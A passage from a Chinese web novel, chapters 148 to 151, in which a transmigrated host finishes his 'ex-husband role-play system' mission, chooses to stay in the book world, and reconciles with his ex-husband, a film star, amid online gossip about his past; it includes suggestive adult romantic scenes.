时蔺川收回了因一张手机桌面照片而变得乱七八糟的思绪,发现自己的大拇指仿佛有了自我意识,直接打开了微信界面,并戳了一下那个看起来很眼熟的置顶头像。 正是他本人的微信头像。 最新消息是他头像旁的一个对话框,里头显示着通话时长,近乎一个半小时。但时蔺川已经无暇关注这一点了,他的视线正牢牢锁定在谢景和的输入框中。 框里躺着一句没有被发送出去的话。 我腿疼。 一你能回来看看我吗? 几息之后,手机电量告罄,骤然黑屏。 关机了。 屏幕倒映着时蔺川的脸。 男人敛着眸,淡漠冷感的五官很立体,宛如建模一般。他的眼睛狭长,眼皮半阖的模样看上去颇有几分无欲无求的意味,仿佛万物皆不入他的眼,心办静若寒潭。 半晌。 时蔺川沉默地仰起颈子,后脑抵着门框,一声叹息轻而又轻地散在空气里,而谢景和正在距离他几米远的床铺上,睡得极沉,或许是因为近几日的过度疲劳,还打起了小呼噜 断断续续,吵得人心难静。 什么情况? 谢景和呆呆地坐在床上,不知道为什么自己的眼一睁一闭,外头的天就暗下来了。屋子里只剩他一个人。透窗而来的夕阳涂了他满身红。在那轮圆日彻底被远方高楼大厦掩去身影之前,谢景和猛地掀掉被子,光脚往客厅里跑,像是惧怕夜兽咬掉自己的脚。卧房的门虚掩着,一拉就开。与卧室里的昏暗色调不同,客厅与厨房相连,灯光格外明亮,将每一只匍匐的暗影兽驱逐到了边边角角,男人正站在厨房里,袖子堆叠在时间,手里举着一柄勺。米粥熬出了油,温香四溢。谢景和急不可耐地走过去,轻轻抱住了男人的腰,同时将脸贴到对方的后肩,下意识地呼出了一口气.时蔺川早就听到了动响,没有被那双从身后窜出来的手吓到,他放下勺子,垂眸时,余光警见身后那人赤条条的脚,“谢景和,地板很久没打扫过了,你就不嫌脏吗?" “没关系,我不嫌脏。 时蔺川忍不住轻哼一声, "我嫌。" 148、Chapter 148 时蔺川关了火。 锅里的米粥冒着热气,汤水浓稠. 他敛着眸,冷不丁想起了“温水煮青蛙’的故事——原以为是自己把谢景和一锅煮了,没成想谢景和居然反把他给泡了。 偏偏是他先出的手,如今也没处说理去。 报警也不管用。到时候他该如何跟警察描述案情呢?说他在蓄意伤害谢景和的过程中,受害者反把他的心偷窃了吗?依照现世的法律条文来判断,谢景和属于正当防卫,怎么也不算违法“端出去。"听着谢景和趿拉着拖鞋,啪嗒啪嗒走过来的脚步声,时蔺川头也不回,只用下巴点了点刚被自己盛出来的两碗白粥,淡声吩咐道。 “哦。闻言,谢景和当即调转方向,从男人身后两步拐到了他的身边,心情很好地端着碗走出厨房,看不出一点腿疼的痕迹桌上的饭菜很简单。白粥两碗, 拌青菜一碟,以及一盆卤牛肉。时蔺川没什么食欲,只是端着粥碗小口小口地喝,偶尔夹两筷子青菜,视线不信不倚,正好落到对面的谢景和身上,就见这人喝粥跟喝水一样,半盆卤生肉很快见了底。平心而论,谢景和的吃相并不难看,也没有发出不雅的噪音。毕竟入了娱乐圈,艺人的一举一动都有可能曝光在镁光灯之下,因此他也是专门学过礼仪的,学得还不差 “我一天没吃了,饿。 见男人始终盯着自己,盛了第三碗粥的谢景和刚坐下来,忙不迭地解释道:“而且你很久都没给我做卤牛肉了,我才稍微多吃了一点,再加上最近也没什么工作 时蔺川挑了挑眉,意味很明确. 你确定只是''一点’? 谢景和无阻碍破译了这一微表情,不羞不恼,也给男人夹了一筷子牛肉,凑到他嘴边,俨然一副''借时蔺川的花,献他的佛”的模样 “真的特别好吃!" 时蔺川睨了他一眼,张嘴衔进嘴里。 牛肉切得很薄,稍稍咀嚼几下便唇齿留香,时蔺川很快做了个吞咽的动作,顺道白了谢景和一眼,“我能不知道? 他上辈子出身富贵,时间都用作接受精英教育,向来不沾手这些琐碎家务事。跟谢景和结婚三年,为了维持温柔男的人设,时蔺川在这方面下了不少功夫,如今已然得心应手。 准确来说. 也是习惯成自然。 到最后,这顿饭以光盘结束。 谢景和很自觉地收拾起了碗筷,将其放入洗碗机内,然后又举着百洁布擦洗饭桌,看到男人冲了两杯药剂,连忙道: “我没觉得哪里不舒服,应该没有被你传染,这样也要喝吗? 时蔺川用来冲药剂的陶瓷杯是一对儿的。 大肚陶瓷杯一黑一白,杯面各自印了半颗粉色的心,合并在一起才能拼出一颗完整的心,看上去有些士味 这是当初两人交往期间, 谢景和网购的。 “预防一下。”时蔺川将两个杯子放在他刚擦干净的桌面上,又把其中一个推到谢景和面前,犹豫了两秒,还是继续道,“喝完了 “你还是回去吧。” 谢景和的指尖刚碰到杯壁,听到这话,动作顿时僵住,紧接着又听男人道:“毕竟我们已经离了婚,还是在全国人民的眼皮子底下领的离婚证,没道理再不明不白地纠缠在一起。 时蔺川盯着自己面前的黑色杯了,说得认真。 话毕,他顿了顿,补充道: "谢谢你来照顾我。” “我们到此为止,可以吗?" 对于自己与谢景和这场婚姻的落幕,时蔺川是有些庆幸的——起码没有闹得太过难看,不存在隐藏在婚姻之下的各种不堪秘密,也没有上升为刑事案件。 就连离婚那天的天气,都平平无奇。 “我不要。 随着这声儿,时蔺川的视线闯入一只手 这只手将装有冲剂的白色陶资杯推了回来,重新跟黑色陶瓷杯并列成一排,于是,被男人撕成两半的心脏又恢复了原状,还冒着热腾腾的水雾,琥珀色的药液微微摇动,晃着人的眼。 时蔺川沉默片刻,又道: ".我是为你好。” 他缓缓拾眸,望见对面那人低着头,正用百洁布来回搓着自己面前那一小片区域,顶上的灯光打下来,桌面格外光洁,仿佛蚊子站上去都要摔骨折,却映不出谢景和的表情。 跟时蔺川想象中的稍有不同, 其实谢景和没觉得有多伤心,也不认为拼命向男人靠近的自己有多么卑微低贱,而他的信心来源正是男人别扭的、隐晦的、却又毋庸置疑的爱意,宛如冰川下的隐藏世界。 神秘且庞大。 所以谢景和正在开动他的小脑筋。 已知: 我爱蔺川。 蔺川爱我。 以及,蔺川的爱情观与婚姻观相当消极。 他不自觉地摸了摸颈侧的咬痕与吻痕,恍然忆起作夜男人在病中的种种情态-一跟此前三年的温雅君子做派不同,跟此前两个月的扭曲乖良也不同,那是男人从未表露过的粘人、坦诚、与然 这些复杂情绪像是被男人深藏在土里的小秘密,多年置之不理,一朝破土而出,便小心翼翼地,冲谢景和摇曳着它娇嫩的枝叶,仿佛一道雷声,一滴雨珠,就能把它吓坏。 谢景和忍不住打了个喷嚏。 听到这声响,时蔺川又一次将白色陶瓷杯推了过去 “赶紧喝,都快凉了。 见谢景和的脑袋始终低垂着,时菌川怀疑这人可能又被自己的话伤得落了泪,心里有些不是涉味,明明就在不久前,他还能冷漠地观赏谢景和被自己玩得团团转,悲的大哭的模样,甚至用指尖指起对方的温泪放到嘴里品尝.…. 他对谢景和的感情没变 只是他的心似乎被谢景和捂软了。 这人一哭,他的心也要下雨。 于是,时蔺川盯着谢景和那头睡得有些翘的栗发,打算随便说点什么,以此缓和气氛,比如“笨蛋也会感冒吗’之类的话,只是嘴巴刚张开,话还没说出口 他就听到谢景和冷不丁道了声, “离了婚,也能做朋友吧?" “有的人离了婚能做朋友,但我们不行,”时蔺川收回话口,顺着他的话题往下说,“这么说可能有点自恋,可是你现在好像对我仍旧抱有期待,这样你还怎么往前走?’ 谢景和:“我不想往前走啊,是你非要赶着我往前走。 闻言,时蔺川若无其事地举起陶瓷杯嘬了一口药液,什么味道都没尝出来,就听谢景和忽然语出惊人道: “那当不成朋友,先当炮友成吗?" “咳、咳…!" 时蔺川猝不及防被呛了一口,狭长眼一横,径直瞪向谢景和,气不打一处来地骂道:“你再说一遍,要跟我当什么?" 谢景和缩着脖子,小声重复: “大家都是结过婚的成年人,有需求总要解决啊。 反正,不能撇清关系。时蔺川听得额角青筋直跳,双手抱臂,险些气笑了,“谢景和你够可以的,离了婚,不想着正正经经谈恋爱,寻思什么呢?炮友?你还真敢说!谢景和唯唯诺诺地顶嘴:"你让我说的。" 说着,他还用手边的百洁布擦了擦男人不小心呛出来的几滴药液。时蔺川头大,脑仁也大。他狠狠瞪向正忙着装乖扮巧的谢景和。过了好一会儿。时蔺川忽然仰起脑袋,喉结急促地上下滚动,颈部青筋微鼓,线条极具张力。他无比抓狂地质问道:“谢景和,你就非得在我这棵歪脖子树上吊死吗!隔了几秒头顶的灯光被人遮住了谢景和轻手轻脚地站到了他的身后,上身微弯,两条手臂像是杀人的藤蔓一样环上了他的脖颈,并用气音轻声应道:“谁让你这么帅,让我见了就走不动道." “都是你的错。” 谢景和皱了皱鼻子,如是说道。 系统空间内。 贴在光屏前的白色光球顿时一个后仰。 “哦豁,时式甩锅出现了人传人的现象! 然而,下一秒。 光屏被自动屏幕,呈现一片马赛克。 与此同时,作为判定任务完成度的子系统,蓝色光球忽然感应到了命运的召唤,一声无机质的【叮——】就要弹出来,立马被白色光球从肚子里掏出来的夺命病毒线吓了回去。 蓝色光球:沉默地咽下所有苦楚。 一个吻点燃了所有。 时蔺川反手一拽,谢景和当即从他的身后转回来,坐到了他的大腿上,期间,两人的唇瓣仿佛被强力胶水粘在一起,撕都撕不开。 他们在客厅逗留了许久。 起身往卧室里走的时候,谢景和还不忘喘着粗气提醒男人把快要彻底凉透的药喝了。 结果就是, 一杯药,两个人分了。 从客厅到卧房门口,衣服裤子丢了一地,歪七扭八地躺在地上,却无人顾及,两人在这间公寓留下了太多回忆,时蔺川刚将谢景和推倒在双人床上,这人便扭着腰,从床头柜的底层掏出了两样东西,还面颊通红地举着问他:“蔺川,会不会过期了啊?”时蔺川俯身而下,一边从他手里接过东西,一边吻他,断断续续地应道:“过期了你打算怎么办?不做了?"谢景和气息不稳:“当然不。""…过期了的话,就不要用了。”“反正你平时也很少用。”闻言,时蔺川忍不住笑了一下,起身凑到他耳边轻声道:“今晚应该不行了,有一阵子没做了,我要是不用.…”“你受得了吗?"谢景和似乎想到了过去的某些回忆,连忙环住了男人的脖子,后怕似的连连点头,赞同道:“那你还是用吧。铜城的天气太冷了。尽管卧室里开着暖气,但不作用于某些物品。时蔺川先是用手将其捂热了,才用在谢景和身上,并哑着声道:“没过期,保质期有五年。“ 外头的天黑得很彻底,中高楼层远离了城市车流的噪声,可一阵风刮过,整个世界陷入沉寂,随后一道雷声炸响,紧接着便是一阵淅淅沥沥的雨声 谢景和的声音混在里头。 一场冬雨来得突然。 时蔺川却觉得 他已经等待了许久了。 此夜漫长。 谢景和满身是汗,布满痕迹的肩头露在被子外面,就这么狼狈地缓了许久,再睁眼时,发现男人正用很复杂的眼神看着自己。 两人相顾无言。 倏然间。 男人闭了闭眼,似是认了命。 "….败给你了。” “谢景和,你是我做的第一笔亏本生意。 同一时间。 同一时间, 时蔺川在心里呼唤系统。 149、Chapter 149 在各种意义上,时蔺川是一位很合格的宿主,但他格外厌烦跟自己灵魂绑定的扮演系统 二年间, 那道聒唤的申子音时不时在他脑中响起,宣扬那套摸鱼理论,以及 向他推销谢景和。 这一点让时蔺川尤其不爽。 用你说? 闭麦。 这是他对系统说过最多的两个字,简洁有力。时蔺川对系统的观感很差,并不因为自己被系统绑定而逃过当场死亡这一前提,就对系统感恩戴德,亦或是抱有好感,与其交心。说到底 凭什么?这又不是一场慈善活动,好人好事。系统绑定宿主,更像是职场交易,一方有需求,另一方则需要付出一定的劳动来满足前者的需求,前者再给予相应的报酬.双方钱货两讫。但自称「前夫哥扮演系统」的系统却展现出巨大的矛盾性,在督促宿主完成任务的同时,又致力于教唆宿主在任务中摸鱼,甚至装都不装了,几乎是明牌式地表露出一''主角很可爱叭?’ “我有办法让宿主永久停留这个世界哦~ ''只要宿主拿任务奖励来换。 长久以来,一人一系统之间,看似是时蔺川掌握主动权,冷心冷清绝不为了任何人停留,但他总有股自己受制于人的感觉,目对方隐约透出有恃无恐的姿态。 让掌控欲极其旺盛的时蔺川格外火大。 像是被人要挟了。 在他看来,能派遣这样一位明摆着想要中饱私囊的蛀虫系统出来做任务,还是拯救濒危书中世界的重量级任务. 那什么时空书局迟早要完。 这跟把老鼠放到米仓里有什么区别? 如果时空书局能接收到时蔺川的怨念,估计也得大喊冤枉:他们不知道启用该二手系统的危险性和不稳定性吗?那也是没办法啊! 其他系统都被世界屏障阻挡在外,压根进不去。 除了N001。为了保障任务顺利进行,他们不仅全面清扫了这个报废系统,还打破了一系统一世界的运行规则,特地设置了辅助子系统这一职位,将即将拥有正规编制的系统塞了过去万万没想到的是, 两个系统很快就失去了联络。 不过,这是另一回事了。 此时此刻。时蔺川刚唤了声系统,脑袋里便恰如其分地响起一系统的电子音呱唧呱唧响起来,“恭喜宿主,成功修补完原著中涉及前夫哥的所有关键剧情!任务圆满完成!吉下"喜庆的烟花拉炮齐齐炸响。时蔺川只觉得吵闹。他甚至冷笑了一声, “呵。" 系统:""好耳熟的冷笑。啧,宿主不是想开了吗?怎么抵触情绪还这么严重?祂之前可是帮宿主举了一个多小时的手机耶,一会儿扮演智能小夜灯,一会儿扮演充电宝,没见主角的手机都关机了,宿主的手机电量还很充足吗!算了,被误解是系统的宿命。N001深藏功与名,又炸了两个免费的小烟花,打着哈哈:“热闹一下,庆祝宿主完成任务,顺便拜个早年。时蔺川不想跟祂多说,开门见山道:“你之前说过,在我完成任务后,人工系统会回收目托管这具身体,在此之后,我就能通过任务奖励在原世界复活,对吧?"系统连声应道:“是的呢。”时蔺川又道:“你之前还说过,如果我想留在这个世界生活,可以拿任务奖励跟你兑换永久居住权.…他顿了顿,毫不费力地想起某个数值,继续道:“没记错的话,居住权需要的积分,跟你给我的那副加了温柔属性眼镜一样,都是一百积分对吧?系统重复道:“是的呢。“价值一百积分的眼镜你随随便便就能给我,任务奖励的获得过程却这么麻烦,"时蔺川指出不合理之处,“不管怎么想,奖励的价值都不可能只有一百积分吧?“你吃了多少回扣?" 系统空间内。白色光球理不直气也壮,挺起纯白的小胸脯,振振有词道:“宿主可不要污落人家一个清清白白的系统哦,这可不叫回扣,为了满足宿主的需求,我这种私下兑换行为可是担了很大风险的!"蓝色光球:【.】真正承担风险的,是被盗用积分卡的我吧?白色光球继续瞎掰:“还有哦,兑换行为本来就是存在差价的,中间还有渠道费、手续费等损耗,七七八八算下来,本系统哪里还有回扣可以吃?不倒贴积分都算好的啦!蓝色光球:【】真敢说啊。倒贴从上个宿主那里骗来的积分,再赚这个宿主的积分,这哪里是吃回扣,这叫断市场!两只狐狸一来一回,心知谁都没把这番解释当一回事。 时蔺川点点头,直接说: “我有一个附加要求,在兑换永久居住权的同时,你必须把我的视力修正,恢复成我原来的水平,不难吧?"“别说做不到。" “做不到,我就走。 光屏前。 白色光球难掩兴奋。 尽管宿主的交涉态度极其恶劣,但系统早就习惯了他的做派,丝毫不介意,还很兴奋地伸出两个小揪揪,放在身前搓来搓去。有句俗语说得很对嘛。恶语伤人六月寒,积分一赚三冬暖。只不过听到宿主的附加条件,系统搓啾啾的动作骤然一顿,不知想了什么,反而搓得更欢快了。电子音的语调愈发上扬,稍显意味深长。“哦呼,难倒是不难啦。“但是宿主你确定要这么做吗?老实说,你这点近视度数对生活影响也不是很大呀,偶尔戴戴眼镜罢了。"时蔺川回得利落。“关你屁事?" 白色光球被宿主骂了也不恼,反而态度很好地播报道:“任务已完成,正在为宿主发放奖励,经宿主本人授权,奖励二次兑换…”“叮。"白色光球忽略了身后蓝色光球散发出的失落气场,淡定自若地叮了一声,接着道:“已为宿主兑换该书中世界的永久居住权.…“已成功修改宿主身体数据,新数值将在二十四个小时后生效。“经检测,编号049''书中世界屏障已修复,扮演系统将白动解除绑定,进度为30%.… “80%。 “100%。 夜半时分。卧室里只开着一盏床头灯,光线昏暗。两人顾及着前段时间的事故伤情,因此动作一点都不激烈,反而温吞如水,宛如一场漫长的闹。屋外的雨声将气氛烘托得恰到好处。时蔺川与谢景和全程四目相对,彼此捕捉着对方的神情与吐息,偶尔忍不住交换一个相对激烈的吻,仿佛两个被困在雨夜的孩子,互相携着手,踉踉跄跄地往前奔。天还没亮,但快了。两人做完两回,顾不得去清洗,只是满身黏腻地拥在一起,当系统宣布成功解织的时候,时蔺川忍不住睁开眼,骤然跌进了谢景和那双水波荡漾的眸中,压根顾不上穿墙往外飞的白蓝光球.或者说,看到了也当做没看见。时蔺川用力地亲了一口怀中的人。谢景和那只带着缝合线的手掌抚在男人的颈侧,被亲得下意识蜷起了手指,哑声问道:“葡川,你刚才的表情看起来好凶,怎么啦?心情不好吗?" "嗯,我讨厌黑心人贩子。" 纯讨厌。 没别的意思。 谢景和像是想起了什么,不自觉地往男人怀里缩了缩,耳朵贴上男人的左心口,小声道:“我也讨厌。 他就是在不记事的时候被人贩子拐卖了。 时蔺川凝视着谢景和的表情,忽然拾臂,又从床头柜上捏起一个小方片,淡声道:“还有精力?再来打个正经的离婚炮? 谢景和没羞没臊,积极响应。 风在刮,雨在下。白色光球拽着蓝色光球勇敢飞。蓝色光球已然放弃挣扎,活球微死。白色光球则抬起一个啾啾摸了摸脑袋,自言自语般的呢喃道:“哦呀哦呀,好像忘记告诉宿主,近视眼设定是为了让宿主跟渣男前夫哥的人设完美融合,如果剥离了这层设定的话“那么对宿主的亲密值与爱意值过高的主角,搞不好会摆脱世界屏障的人设滤镜哦?“ 蓝色光球:【.】 这是报复吧?当初那一场NPC觉醒闹出的大乱子,让时空书局损失惨重,数个书中世界中“渣男前夫哥”这一角色彻底缺失空白,书局只能通过派遭系统绑定濒死的灵魂,来扮演顶替这个角色。因此,每一位宿主所用的身体,都是系统扫描其灵魂捏造的壳子,跟宿主原来的身体完全一致。只不过,在此基础上,系统必须为宿主的身体数据添加一个属于“渣男前大哥”的个人特征,才能使宿主完美覆盖人设,让所有书中人物都将宿主当成扮演的角色。当角色原有的个人特征被消除,宿主可能会被亲近的人察觉——自己并非对方记忆中的那个人,从而牵引出许多麻烦在时空书局,这是有先例的。 思及此处,蓝色光球被雨水打湿的沉默,一下子就晒干了。 必 宿主 自求多福吧。 没开玩笑,你惹到鬼了。 150、Chapter 150 凌晨三点多。 厨房里,灯光温暖。时蔺川换了身干净的居家服,黑发残留着沐浴过后的湿,额发一早被他捋到脑后,低头时又落下几缕,垂在眉梢,随着主人的动作微微晃动,带着成熟男人的随性恣意。光是背影,就帅得人移不开眼。尤其是厨房的照灯亮堂极了,将男人的后耳根与颈侧连成一片的吻痕映得清楚明白,仿佛将这场暖眛情事彻底暴露在灿烂白昼之下,让始作俑者忍不住目光流连全然忘了自己身上是如何的触目惊心,谢景和坐在餐椅上,后腰多了个从客厅沙发顺来的方形抱枕。他穿着大了一码的衣服,裤脚盖住脚踝,脚背藏了半截,也遮住了自小腿内侧往上蔓延的痕迹他上身套了件黑色圆领毛衣,材质格外柔软贴肤,领口略宽敞,露出笔直挺拔的锁骨,在方才的两个回合中,已然沦为战场之一,被讨伐得不成样子了。时蔺川一回头,立马掉进谢景和炫然的眸光中——宛如爱丽丝掉入了兔子洞,给人以惊险且奇妙的滋味,而这般场景在过往三年中已经发生了无数次。谢景和这家伙,挺有毒的。 时蔺川如此想着。 “他俩儿肯定谈了!" 怪不得在两人公开之前,外头那些营销号和粉丝给他和其他明星组了那么多cp,企图用一个平平无奇的眼神解读出千百万情意,然后斩钉截铁地说 时蔺川偶尔会看到这类信息,见评论区里的粉丝激动到手抖,发出一连串感叹号,忍不住觉得好笑, 这才哪儿到哪儿啊? 他都不好意思说,谢景和去超市买菜也是这种眼神。 只有在看他的时候 时蔺川端着一碗牛肉面出了厨房,素面浸透在鲜甜的汤汁里,薄薄几片卤牛肉覆盖在汤面,葱段翠绿,看上去卖相十足。 他微微弓腰,将面碗放到谢景和面前,拖着椅子落座。 “吃吧。谢景和看着男人,“只有一碗,你不吃吗?"时蔺川坐在他对面,双臂环抱,狭长的眼睨了他好一会儿,慢吞吞地应道:“我又不是你,一张嘴饱了,另一张嘴又饿了。”一句极具挑逗意味的话被男人闲话家常似的说出来,谢景和明明也不是没经历过荤话的人,自己更是不知道说了多少,但不知为何,他心底忽然泛起一阵说不出的感觉尾椎骨也有点酥。 他衔着自己的下唇,默默用两手捧着面碗,低头喝了口汤,热气扑了他满脸,将面颊的温度烘得高了几度。 下一秒。 时蔺川听到谢景和轻声说: “那我就是饿嘛。 时蔺川看过谢景和的采访。 这人在外面从来不这么说话,年少青涩时跟个闷葫芦似的,后来长大成年了,知道在镜头前保持明星艺人的形象,面对各色刁钻问题也能微笑着打太极,看起来格外有风度 俨然是个成熟男性了。 时蔺川在酒吧初遇谢景和的时候,他已经二十四五岁了,如今更是奔三的年纪,而两人第一次见面的场景,仿佛是两个肉食系互相看对了眼,当晚就打了全垒。 场面一点也不纯洁。 如此三年下来,这人在另一方面也熟透 然而,时蔺川却时常觉得 尤其是当他用那种崇拜、迷恋、渴求一切又交托一切的目光凝视着自己的时候,时蔺川一边厌恶一边上瘾,一面要将其摔碎焚毁,另一面却流连忘返 谢景和真的很清纯。 他有一颗蛀空的心,心墙是用钢板浇筑而成的。 可谢景和还是钻了进来。 时蔺川拒绝了一次又一次,力度却一次比一次轻,宛如虚张声势的恶龙。与之截然相反的是,谢景和像是持剑的勇者,越挫越勇。 于是,时蔺川恍然发觉 自己似乎被逼入了绝境。 打一开始,时蔺川便蓄谋击碎谢景和对婚姻与爱情的憧憬,但他怎么都没想到,在此之前,谢景和就先一步改变了自己对婚姻与爱情的解读 老实说,他从来没想过自己会输。 爱一个人没那么糟。 一跟某个人缔结婚姻关系也不尽是坏事, 时蔺川不想承认,但事实胜过雄辩。 关于他输给了谢景和这件事。 时蔺川原以为自己会在一片爆裂的轰鸣声中宣告彻底落败,场面盛大而喧器,不料这一天来得居然这么平静,没有发生任何新奇事情,甚至跟过去的寻常日子没有什么区别。 他们o爱、吃饭、睡觉、闲聊。 屋外还下着雨。 谢景和正在嗉面,然后眼巴巴地夹起一片牛肉喂到他嘴边,另一只手还隔空在底下接,以防汤汁掉落弄脏了桌面,一副贴心大棉祆的乖巧模样。 时蔺川嚼了几口,咽下去。 他冷不丁想起了那个被谢景和篡改得面目全非的睡前故事。 几息之后。 时蔺川放下了总是下意识环抱起来的双臂,喉间并没有出现他预想中的艰涩与拥堵之感,一句话就这么自然而然地说了出来, 他说, “景和。” “不是朋友,也不当炮友。" 我们交往吧。 说完,时蔺川面上云淡风轻,垂落在身侧的手指却有些不安地摸了一下裤缝,很快又放开,就像是被他隐藏得很好的局促。可这一回没有所谓的扮演任务让他充当挡箭牌了,所以时蔺川只能强迫自己注视着对面那人,不要率先移开视线,随即便望见了谢景和瞬间变得呆愣的神情。下一秒。谢景和不知道是吃太饱还是太惊讶,忽然打了个饱嗝.时蔺川:"."他沉默地递过去一张抽纸。谢景和也沉默地接过,擦了两下嘴,忍不住将纸中折成长条,遮在自己眼前,唇色在吃东西的过程中变得艳丽,他却还拼命地用牙齿去衔咬,企图阴止快要飞起来的嘴角。时蔺川忍不住也笑了一下。只是他比较能控制情绪,当即收敛了表情,趁谢景和没注意到自己的时候恢复成原来的淡然神色,还拾手摸住谢景和的腕,想要将他遮挡眼睛的手扯下来,同时语气不悦地道了声,“平时盯着我目不转睛,现在是什么意思?“时蔺川扯了一下,没扯动。“啧。谢景和同男人顽强抵抗,垂着脑袋小声解释:"不敢看,怕多看一眼就想跟你再大战三百回合,但是之前已经来了好多回,我已经有点遭不住了,腰酸腿软,都快坐不住了。 时蔺川:“…” 谢景和忽然嘿嘿一笑。 时蔺川也觉得挺逗的,他跟这人几天前在一档综艺里公开离婚,现在还有一大票观众在网络上哭天抢地,真情实感地称呼他俩儿为年度意难平夫夫’,结果他们两个摇身一变 成了离过婚的男朋友。 不仅逗,听起来还挺欠揍的。 这事要是曝光了,估计全国人民都得指着他们俩儿高喊一句,“不是,你们神经病啊?!" …其中一个应该是吧。 时蔺川沉默片刻,如此想道。 “真想跟你生个孩子。” 谢景和偷笑了许久,好端端的一张纸巾都快被他搓成纸浆了,他才慢悠悠地放下了作乱的双手,睁着一双黑亮的深邃眼眸望向时蔺川,张了张嘴,突然吐出一句 时蔺川从他手里把垃圾挖出来,随口应道:“你没那功能。 谢景和抿了抿唇,解释道: “意思是,我好想被你那个啥。 时蔺川看着他,突然很想撤回一条心理活动。 一清纯个屁! 待两人重新躺下,已经是凌晨四点半了时蔺川不像谢景和那样睡过去了一整个白天,甚至趁着病情好转的空档,在客厅抱笔记本电脑处理了好几个小时的工作文件,顺手做了顿饭,晚上还在谢景和身上使了好一通力气。一上床,他几乎是倒头就睡。怀里还锢着名为“谢景和’的人形恒温抱枕。谢景和不觉得困,却闭着眼一动不动,待男人睡着了才缓慢地伸出手,捞过手机和蓝牙耳机,几下就点开了《你为什么不开心》的综艺界面,开始观看由自己参演的离婚节目。先前他一眼都没敢看。 现在么,他光挑着时蔺川出镜的部分看,弹幕数量特别多,其中一部分是不太中听的话语,另一部分则是后续重刷的观众发出的感叹。【看过结局,倒回来才发现前面有这么多伏笔】【素人哥你真的是,无人时你总在看他啊![泪目]】【这是不是说明,影帝出轨的瓜是真的??要不然素人哥为什么非要离婚?感觉这对嘉宾有很多关键镜头都被剪掉了,涉及核心的问题都没有在屏幕前展示出来!!】【莫造谣,那是无脑黑黑。】【NO1在线发力,热搜早就撤掉了,律师函也发了,爆料的营销号已经滑跪删帖,并公开道歉了。】【素人哥,现在进化成前夫哥了[托腮]】【求别刀了,这对的后劲真的好大,这场婚姻明明没有我的姓名,但为什么离婚后走不出来的那个人是我啊!!!】【】 谢景和看一段就歇一会儿。 他也后劲大。由于两人刚到多丹就出了意外,跟另外两对嘉宾的行程错开,导致他们在正片中的出镜总时长不算太多,并且去医院复查占据了一定量的时长在医院的片段中,节目组保留了一段男人的单独镜头。根据男人的装束,谢景和很快忆起,那天应该是一月中上旬,而他正在诊室里检查骨裂的恢复情况,以及给掌心的缝针伤疤换药. 时蔺川独自站在一楼廊下。就在这时。另一位同样站在廊下的国外老者忽然开口与他攀谈,叽里咕噜地说了一堆谢景和听不懂的外语,只能靠节目组的后期字幕来辅助视听。老者说的是法语。原来他也是前来多丹旅游的游客之一,认出面前的男人正是前不久那场事故的当事人,不由得搭起了话紧接着,谢景和听到视频中的男人一张口就是同样流利的法语,跟老者无阻碍地交流了起来,水平之高,以至于老者夸奖他的发音极其准确,简直就是一个母语者。老者是个钢琴老师,攀谈中,偶然跟男人聊起古典音乐,他竟也能与其对谈,似乎对此有着不俗的了解。弹幕齐刷刷地说: 【法语专八在此,素人哥牛哇,发音好准!】【谈吐好得体,完全符合我对上流社会男人的想象。】【笑死,我之前觉得他是个阴暗鬼畜控制狂,后来觉得他嘴臭但是个有种男人,现在又觉得他贼有气质,帅得我都骂不出口了,家人们我是不是中邪了?】【正确的、精准的、一针见血的。】 【好魔性的男人。】【怪不得影帝他超爱,这俩儿一看就不是包养关系啊,乱造谣小夫夫钱色交易的营销号新的一年倒大霉!】【包养毛啊,我看超话有人盘时间线和背景,素人哥好像是出身顶级豪门,跟影帝结婚后才创立了N01,之前没有公开露过面的,嗯,你们自己细细品。】【姐妹,你的瓜已经落后了。】【什么顶级豪门啊,前两小时有人出来爆料,说素人哥跟影帝从小认识,在同一个福利院呆过。素人哥貌似因为年纪太大没有被新的家庭领养,前几年还在某证券公司当小主管】【真的假的???】【我的瓜是3.0版本,据说素人哥在大学时期当过软饭男】【真的假的???】 【你要不要听听自己在说什么?这前后描述的是同一个人?】 【不信去看热搜,证据链很完整,照片都有!】 151、Chapter 151 离婚综艺的大结局播出了两天,网上热度仍旧高涨 众人目瞪口呆,对三组离婚嘉宾的最终抉择感到无比诧异,甚至一开始就冲中着看乐子前来追综的观众都戴上了痛苦面具,也不忙着玩抽象了,反而齐刷刷地在评论区表示一“别搞,大过年的,节目组别搞。”“怪不得春晚都是包饺子大结局,我真的悟了![捂脸大哭!” 这一现象说明了,综艺是真的火,午时组也是真的爆。作为出道多年的青年演员,谢景和深知一个人在娱乐圈走红,时常伴随着被暗影吞噬的危险,泼天的热度是一把双刃剑,不止带来声望与富贵,更是将自己放在显微镜之下,供大众观赏。对此,他深有体会。舆论真真假假,媒体捕风捉影,不能轻信谢景和点进某个词条,就见一个明显是小号的白板账号发了好几张长图,里头有文字叙述,也有像素稍显模糊的配图,几乎将男人的前半生概括出来了。 福利院出身。 读书成绩中等偏上,但很会装温柔, 扮好人。 大学时公开追求白富美系花,交往一年多,从对方手里哄了不少名贵礼物。据说两人毕业时,女方因两人家境悬殊而主动提出分手,不仅送了男人一套房子,还给他介绍了一份证券公司的工作。 结果男人在证券公司里奋斗了许多年,事业不见起色。 撑死了就是个小主管。 账号土人描述得绘声绘色,后面又说到男人于三年前土动离职,不知道是不是因为抱上了影帝谢景和的大腿,用他的钱和人脉开创了一家经纪公司,在镜头前装起了人生赢家。纯属无稽之谈。谢景和确实对男人不设防,但时蔺川从来都不动他的卡,这一泾渭分明的举动还让他惴惴不安了许久,有一次还忍不住偷偷躲在卫生间用手机搜索''老婆赚得比老公多,对感情有影响吗?后来还是男人见他久不出来,主动过来敲门,嗓音温文尔雅,带着几分事后的惑,“小景,你有哪里不舒服吗?"“抱歉,我刚才是不是太用力了?"那时候的男人格外温柔体贴,心也细跟爆料帖子里描述得有点像。都说世界上最难拆穿的谎言便是在真话里掺假话,真真假假,让人傻傻分不清楚,谢景和一点儿也不相信伴侣是帖子里形容的那种玩弄感情的伪君子,但他忍不住盯着里面的某一张面图出了神。这是一张偷拍照,些许模糊。照片的背景在某大型商城内部,画面主体是站在自动扶梯上的一男一女。女的背着身,看不到脸,从头到脚都打扮得明艳动人,男的则露着半张脸,瞧着很温柔,很有书卷气,手上提了许多名牌购物袋女人挎着他的手臂,似乎在说笑。谢景和一眼就认出来了。照片里这个让自己倍感熟悉又陌生的男人…正是时蔺川。 